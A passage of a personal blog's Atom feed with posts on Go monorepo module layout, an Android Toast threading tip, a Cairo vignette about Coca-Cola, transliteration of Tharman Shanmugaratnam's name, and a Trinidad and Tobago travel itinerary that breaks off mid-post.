<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">7
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>src/pkg1
</span></span><span style="display:flex;"><span>|
</span></span><span style="display:flex;"><span>|- go.mod
</span></span><span style="display:flex;"><span>|- go.sum
</span></span><span style="display:flex;"><span>|- pkg - Optional: required <span style="color:#719e07">if</span> pkg1 exports any code. It is just a convention to put all exported code in pkg
</span></span><span style="display:flex;"><span>|- internal - most code should go here by default, code here cannot be accessed outside of pkg1
</span></span><span style="display:flex;"><span>|- cmd - CLI tools or web server startup code goes here</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p><code>src/pkg2</code>&rsquo;s structure would look very similar.</p>
<p>Now let&rsquo;s assume that you are hosting this monorepo at <code>https://github.com/ashishb/golang-template-repo</code>. I would recommend that <code>src/pkg1</code>&rsquo;s module name, defined in <code>go.mod</code> be <code>github.com/ashishb/golang-template-repo/src/pkg1</code> and pkg2&rsquo;s module name be <code>github.com/ashishb/golang-template-repo/src/pkg2</code>. This is not a hard-and-fast requirement, however, this will avoid a lot of confusion if the package name maps to the URL.</p>
<p>Now, let&rsquo;s assume that there is code in <code>src/pkg1/pkg/module1</code> that&rsquo;s exported and is being used by <code>pkg2</code>. To add that mapping just use the   
    
    
<a href="https://go.dev/ref/mod#go-mod-file-replace?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">replace</a> directive and add the following to <code>src/pkg2/go.mod</code>.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#268bd2">replace</span> (
</span></span><span style="display:flex;"><span>    github.com<span style="color:#719e07">/</span>ashishb<span style="color:#719e07">/</span>golang<span style="color:#719e07">-</span>template<span style="color:#719e07">-</span>repo<span style="color:#719e07">/</span>src<span style="color:#719e07">/</span>pkg1 =&gt; ..<span style="color:#719e07">/</span>pkg1<span style="color:#719e07">/</span>
</span></span><span style="display:flex;"><span>)</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Now, <code>import github.com/ashishb/golang-template-repo/src/pkg1/pkg/module1</code> would just work.</p>
<p>As a reminder, <code>import github.com/ashishb/golang-template-repo/src/internal</code> would never work as <code>internal</code> is never exported.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/go" term="go" label="go"/></entry><entry><title type="html">Authentically American</title><link href="https://ashishb.net/short-stories/authentically-american/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/doctors-per-capita/?utm_source=atom_feed" rel="related" type="text/html" title="Doctors per capita"/><link href="https://ashishb.net/short-stories/made-in-america/?utm_source=atom_feed" rel="related" type="text/html" title="Made in America"/><link href="https://ashishb.net/short-stories/price-variance/?utm_source=atom_feed" rel="related" type="text/html" title="Price variance in the United States"/><link href="https://ashishb.net/short-stories/the-clash-of-expectations/?utm_source=atom_feed" rel="related" type="text/html" title="The clash of cultural expectations"/><link href="https://ashishb.net/finance/why-not-abolish-employer-provided-health-insurance/?utm_source=atom_feed" rel="related" type="text/html" title="Why not abolish employer-provided health insurance?"/><id>https://ashishb.net/short-stories/authentically-american/</id><author><name>Ashish Bhatia</name></author><published>2023-10-28T16:00:30+00:00</published><updated>2023-10-28T16:00:30+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the cultural contrasts in Cairo as locals sip on Coca-Cola and embrace American influences, while still preserving their own authentic Egyptian flavors.</blockquote><p>While Sitting at a local restaurant in 
<a href="/travel/egypt/">Cairo</a>, Egypt, I deliberated between Subia and Dom Palm to drink. Two adult women, the mother (in-law?) wearing a burqa and the daughter (in-law?) wearing an abaya sat in front of me. The third member of their party was a little girl, wearing a bright pink frock. She was small enough to be placed right on the table. Dom Palm, I decided, will be the &ldquo;authentic&rdquo; Egyptian taste for tonight.</p>
<p>Soon after, their drinks arrived. The two older women had Coca-Cola. The young girl, probably as a mark of a rebel, drank Sprite. Coca-Cola wasn&rsquo;t just a sugary carbonated drink for them. Coca-Cola was the &ldquo;authentic&rdquo; taste of America for them. Earlier, I saw the posters of the American faux festival, Black Friday, on the streets of Cairo. That all started to make sense.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/this-american-life" term="this-american-life" label="this-american-life"/></entry><entry><title type="html">Android: Always show toasts on the background thread</title><link href="https://ashishb.net/programming/android-always-show-toasts-on-the-background-thread/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/end-to-end-testing-mobile-apps/?utm_source=atom_feed" rel="related" type="text/html" title="End-to-end testing of mobile apps"/><link href="https://ashishb.net/programming/maintaining-android-app/?utm_source=atom_feed" rel="related" type="text/html" title="Maintaining an Android app is a lot of work"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/use-makefile-for-android/?utm_source=atom_feed" rel="related" type="text/html" title="Use Makefile for Android"/><link href="https://ashishb.net/programming/android-navigation-up-vs-back/?utm_source=atom_feed" rel="related" type="text/html" title="Android Navigation: Up vs Back"/><id>https://ashishb.net/programming/android-always-show-toasts-on-the-background-thread/</id><author><name>Ashish Bhatia</name></author><published>2023-10-21T16:00:42+00:00</published><updated>2023-10-21T16:00:42+00:00</updated><content type="html"><![CDATA[<blockquote>Avoid ANR errors in Android apps by calling Toasts on background threads instead of the UI thread. Boost app performance by understanding System UI integration.</blockquote><p>I used to call   
    
    
<a href="https://developer.android.com/reference/android/widget/Toast#show%28%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Toast#show()</a> on the UI thread.
Then one day, I received notifications related to an ANR (Application Not Responding) error in one of my   
    
    
<a href="https://musicsync.ashishb.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Android apps</a>.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span>at android.os.BinderProxy.transactNative(BinderProxy.java)
</span></span><span style="display:flex;"><span>at android.os.BinderProxy.transact(BinderProxy.java:605)
</span></span><span style="display:flex;"><span>at android.view.accessibility.IAccessibilityManager$Stub$Proxy.addClient(IAccessibilityManager.java:1207)
</span></span><span style="display:flex;"><span>at android.view.accessibility.AccessibilityManager.tryConnectToServiceLocked(AccessibilityManager.java:1804)
</span></span><span style="display:flex;"><span>at android.view.accessibility.AccessibilityManager.(AccessibilityManager.java:606)
</span></span><span style="display:flex;"><span>at android.widget.ToastPresenter.(ToastPresenter.java:138)
</span></span><span style="display:flex;"><span>at android.widget.Toast$TN.(Toast.java:1151)
</span></span><span style="display:flex;"><span>at android.widget.Toast.(Toast.java:259)
</span></span><span style="display:flex;"><span>at android.widget.Toast.makeText(Toast.java:891)
</span></span><span style="display:flex;"><span>at android.widget.Toast.makeText(Toast.java:879)
</span></span><span style="display:flex;"><span>at net.ashishb.androidmusicplayer.util.UiHelper.showToast(UiHelper.java:111)</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Programmers on StackOverflow are   
    
    
<a href="https://stackoverflow.com/questions/3134683/how-do-you-display-a-toast-from-a-background-thread-on-android?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">confused</a> about whether it is OK to call Toasts on the background threads.
Just like me, they think that Toast must be displayed from the UI thread.
Even though there is no reason.</p>
<p>As a primer, anything that touches your app&rsquo;s UI must be accessed via the same UI thread.
And that&rsquo;s because the Android UI toolkit is thread-unsafe by design.
Making it thread-safe would have introduced thread locks and similar efficiency issues.</p>
<p>However, Toasts are not part of your app&rsquo;s UI.
The toasts are displayed as a part of the System UI.
So, avoid ANRs by calling them on the background thread.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/></entry><entry><title type="html">Musings of transliteration: Tharman Shanmugaratnam's name</title><link href="https://ashishb.net/linguistics/how-to-pronounce-tharman-shanmugaratnam/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/linguistics/%C9%9B-sound/?utm_source=atom_feed" rel="related" type="text/html" title="The English ɛ - a popular vowel missing in Indic languages"/><link href="https://ashishb.net/linguistics/monolingualism/?utm_source=atom_feed" rel="related" type="text/html" title="Monolingualism"/><link href="https://ashishb.net/linguistics/hindi-english-phonemes-that-are-similar-but-distinct/?utm_source=atom_feed" rel="related" type="text/html" title="Hindi-English phonemes that are similar but distinct"/><link href="https://ashishb.net/linguistics/spicy-vs-chilli/?utm_source=atom_feed" rel="related" type="text/html" title="Spicy vs Chilli"/><link href="https://ashishb.net/linguistics/written-script/?utm_source=atom_feed" rel="related" type="text/html" title="Writing Script matters as much as the spoken language"/><id>https://ashishb.net/linguistics/how-to-pronounce-tharman-shanmugaratnam/</id><author><name>Ashish Bhatia</name></author><published>2023-10-14T16:00:58+00:00</published><updated>2023-10-14T16:00:58+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how linguistic nuances shape the name of Singapore&rsquo;s 9th president, Tharman, as cultural influences blend to create unique phonetic translations.</blockquote><p>  
    
    
<a href="https://en.wikipedia.org/wiki/Tharman_Shanmugaratnam?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Tharman</a>, the 9th president of Singapore is of Indian Tamil ethnicity. The pronunciation of his first name shows how various languages use Latin alphabets.</p>
<p>English speakers use <code>th</code> to convey three different sounds -</p>
<ol>
<li>&ldquo;Thames/ते़म्ज़&rdquo; - Palatial <code>/t/</code> similar but different from Hindi/Spanish/French/Arabic dental <code>/t/त</code>.</li>
<li>&ldquo;Think/थ़िन्क&rdquo; - voiceless interdental fricative sound <code>/θ/</code>.</li>
<li>&ldquo;This/द़िस&rdquo; - voiced interdental fricative <code>/ð/</code>.</li>
</ol>
<p>Hindi speakers use <code>th</code> to transliterate <code>/tʰ/थ</code> - a dental form of  <code>/θ/थ़</code>.</p>
<p>Tamil speakers use <code>th</code> to transliterate <code>த</code> which represents sounds ranging from dental `/t/त` to `/dʱ/ध`.</p>
<p>And that&rsquo;s how <code>தர்மன்</code> which should have been translated directly as <code>dharma/धर्मं</code> ends up going via Tamil -&gt; English -&gt; Hindi route and becomes   
    
    
<a href="https://www.abplive.com/news/world/indian-origin-tharman-shanmugaratnam-becomes-ninth-president-of-singapore-2494337?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><code>थर्मन</code></a> !</p>
]]></content><category scheme="https://ashishb.net/category/linguistics" term="linguistics" label="linguistics"/></entry><entry><title type="html">Mini Trip to Trinidad and Tobago</title><link href="https://ashishb.net/travel/trinidad-and-tobago/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/11-day-caribbean-cruise/?utm_source=atom_feed" rel="related" type="text/html" title="11-day Norwegian Breakaway East Caribbean cruise"/><link href="https://ashishb.net/travel/caribbean-trip-guide/?utm_source=atom_feed" rel="related" type="text/html" title="Where to go on your first Caribbean trip"/><link href="https://ashishb.net/travel/dominican-republic/?utm_source=atom_feed" rel="related" type="text/html" title="Dominican Republic in 5 days"/><link href="https://ashishb.net/travel/aruba/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Aruba"/><link href="https://ashishb.net/travel/dominica/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Dominica - The nature island of the Caribbean"/><id>https://ashishb.net/travel/trinidad-and-tobago/</id><author><name>Ashish Bhatia</name></author><published>2023-10-07T16:00:43+00:00</published><updated>2023-10-07T16:00:43+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Trinidad and Tobago with captivating adventures from city strolls to waterfall tours, offering stunning natural landscapes and delicious vegetarian cuisine.</blockquote><p>The oil-rich twin islands of Trinidad and Tobago are the southernmost island in the 
<a href="/travel/caribbean-trip-guide/">Caribbean</a>.
The smaller Tobago island is more beautiful, safe, and worthy of spending time on than the bigger Trinidad island.
So, if you are short on time, just visit Tobago island.
There are 30 USD one-way flights between Trinidad&rsquo;s POS airport to Tobago&rsquo;s TAB airport.</p>
<h3 id="day-1---port-of-spain">Day 1 - Port of Spain</h3>
<p>Stroll through Queen&rsquo;s Park area, checking out places like Stollmeyer&rsquo;s Castle, Free Botanical Garden, 30 TTD Zoo, and Ariapita avenue.</p>
<figure>
    
    <a href="Stollemeyer-castle-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Stollemeyer-castle-1024x768.jpg"
         alt="View of Stollmeyer&#39;s Castle surrounded by trees under a blue sky, highlighting architectural details of the historic building." width="900"/> </a>
</figure>

<figure>
    
    <a href="zoo-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="zoo-1-768x1024.jpg"
         alt="Zoo" width="900"/> </a>
</figure>

<figure>
    
    <a href="zoo-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="zoo-2-768x1024.jpg"
         alt="Giraffe at Zoo" width="900"/> </a>
</figure>

<figure>
    
    <a href="zoo-3-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="zoo-3-1024x768.jpg"
         alt="Hippopotamus at Zoo" width="900"/> </a>
</figure>

<figure>
    
    <a href="zoo-4-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="zoo-4-1024x768.jpg"
         alt="Zoo" width="900"/> </a>
</figure>

<figure>
    
    <a href="port-of-spain-chinatown-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="port-of-spain-chinatown-768x1024.jpg"
         alt="A street scene from Port of Spain&#39;s Chinatown features colorful shops with vibrant signs and a few pedestrians walking. The area is lively and vibrant, reflecting cultural influences." width="900"/> </a>
</figure>

<p>If you go during the carnival season, then you can see drum practice at   
    
    
<a href="https://nationaltrust.tt/location/invaders-pan-yard/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Invader&rsquo;s Panyard</a> and Phase 2 Steel Orchestra.</p>
<h3 id="day-2---ecological-tour">Day 2 - Ecological tour</h3>
<p>The   
    
    
<a href="https://www.islandexperiencestt.com/product/eco-cultural-experience/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">guided tour</a> started with a stop at Fort George. You can book it   
    
    
<a href="https://api.whatsapp.com/send?phone=18683122314&amp;text=Hi%2C%0A%0AI%20saw%20a%20review%20of%20your%20Eco-cultural%20tour%20on%20https%3A%2F%2Fashishb.net%2Ftravel%2F%20and%20am%20interested%20in%20booking%20it.&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>.</p>
<figure>
    
    <a href="view-from-fort-george-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="view-from-fort-george-1024x768.jpg"
         alt="A landscape view from Fort George showcasing a vast, lush green area with distant mountains under a clear sky, conveying a sense of serenity and natural beauty." width="900"/> </a>
</figure>

<p>Then it continued to Maracas Beach on the North side of the island.
We wasted ~30 mins here ordering food at one of the most popular restaurants here.
I had a vegetarian bake here.
Those in our group who tried the famous &ldquo;Bake and Shark&rdquo; told me that it was not worth the long wait either.
And we couldn&rsquo;t get a chance to swim on the beach because of this delay.</p>
<figure>
    
    <a href="maracas-lookout-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="maracas-lookout-1024x768.jpg"
         alt="Maracas Lookout offers a panoramic view of the beach featuring calm waters and sandy shores" width="900"/> </a>
</figure>

<figure>
    
    <a href="maracas-beach-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="maracas-beach-1024x768.jpg"
         alt="A scenic view of Maracas Beach with lush green hills and a sandy shoreline, capturing a tranquil coastal landscape." width="900"/> </a>
</figure>

<p>Then we visited the Caroni Bird sanctuary for an evening 4 PM tour. We got to see the Scarlet Ibis,
the national bird of T&amp;T. The tour lasts ~2.5 hours.
And one gets to see a lot of native animals &amp; birds of Trinidad and Tobago.</p>
<figure>
    
    <a href="caroni-swamp-small-crabs-e1675238075635-1024x836.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="caroni-swamp-small-crabs-e1675238075635-1024x836.jpg"
         alt="A vibrant scarlet ibis is perched in its natural habitat, the Caroni Swamp, against lush greenery" width="900"/> </a>
</figure>

<figure>
    
    <a href="caroni-swamp-scarlet-ibis-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="caroni-swamp-scarlet-ibis-1024x768.jpg"
         alt="A picturesque waterfall in a lush, green landscape serves as the backdrop for a guided tour" width="900"/> </a>
</figure>

<h3 id="day-3---waterfall-tour">Day 3 - Waterfall tour</h3>
<p>I did a guided waterfall tour with   
    
    
<a href="https://mobile.twitter.com/nwalker_34?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Nicholas Walker</a>.
He is an extremely knowledgeable but eccentric guide. The tour was from 7 AM to 4 PM.
Do come with your bathing suit, ready to take a dip in the water pools.</p>
<p>Our first stop was   
    
    
<a href="https://nationaltrust.tt/location/blue-basin-waterfalls/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Blue Basin Waterfall</a> in the Diego Martin region.
It is a gorgeous waterfall, but nothing compared to follow-on stops.
In the hindsight, skipping it would have been fine.</p>
<figure>
    
    <a href="blue-basin-waterfall-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="blue-basin-waterfall-768x1024.jpg"
         alt="A waterfall cascades down moss-covered rocks into a shallow pool, surrounded by lush greenery, creating a serene natural scene." width="900"/> </a>
</figure>

<p>Our second stop was   
    
    
<a href="https://cellyhikes.com/2019/08/02/avocat-waterfall/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Avocat Waterfall</a>. It is one of the most gorgeous waterfalls that I have ever seen.
Getting here is not easy.
One has to drive on an unpaved road for ~3 Km. And then hike for ~20 mins.
The hike involves crossing the river multiple times, so, wear   
    
    
<a href="https://amzn.to/3XM3fwL?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">water shoes</a>.</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/vQXw1G2igrY?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<p>Our third stop was   
    
    
<a href="https://pastthepotholes.com/hiking-avocat-waterfall-three-pools/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Three Pools Waterfall</a>. Getting to the first pool is easy here.
However, the second and the third are a bit tricky to get to as it requires walking on the side of a cliff while holding a cable.
The views at the end are worth it.</p>
<figure>
    
    <a href="three-pools-pool-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="three-pools-pool-1-1024x768.jpg"
         alt="An adventurous path involves walking along a cliffside using a cable for support, offering rewarding views upon completion." width="900"/> </a>
</figure>

<figure>
    
    <a href="three-pools-pool-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="three-pools-pool-2-768x1024.jpg"
         alt="Three Pools Waterfall in Trinidad and Tobago" width="900"/> </a>
</figure>

<figure>
    
    <a href="three-pools-pool-3-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="three-pools-pool-3-768x1024.jpg"
         alt="Three Pools Waterfall in Trinidad and Tobago" width="900"/> </a>
</figure>

<p>Our final stop of the day was Yarra beach. It wasn&rsquo;t radically different from the Maracas beach.
And after multiple freshwater pools, I had no desire to take a dip in the ocean&rsquo;s salt water.</p>
<figure>
    
    <a href="blachisseuse-driving-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="blachisseuse-driving-768x1024.jpg"
         alt="Blanchisseuse Village" width="900"/> </a>
</figure>

<p>In the evening, I took the last flight from POS airport to TAB airport on Tobago island.
The flight is only 20 mins long and usually leaves earlier than scheduled.
The flight costs about 200 TTD one-way.
Alternatively, one can take the ferry for 75 TTD one-way.</p>
<h3 id="day-4---nylon-pool-and-argyle-falls">Day 4 - Nylon Pool and Argyle Falls</h3>
<p>I started the day by doing a 4-hour 
<a href="/travel/first-time-cruisers/">cruise</a> to the world-famous   
    
    
<a href="https://www.viator.com/tours/Tobago/Tobago-Bucco-Reef-Glassbottom-Boat-Tour/d30971-22374P21?pid=P00037355&amp;mcid=42383&amp;medium=link&amp;medium_version=selector&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Nylon Pool and Buccoo Reef</a>.
The tour departs at 11 AM and 2 PM daily. Do not book this tour in advance.
You will save money by directly going to Store Bay Beach. And booking directly for 150 TTD.
The tour on any website online costs 3-6 times more!</p>
<figure>
    
    <a href="tobago-day-cruise-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tobago-day-cruise-1024x768.jpg"
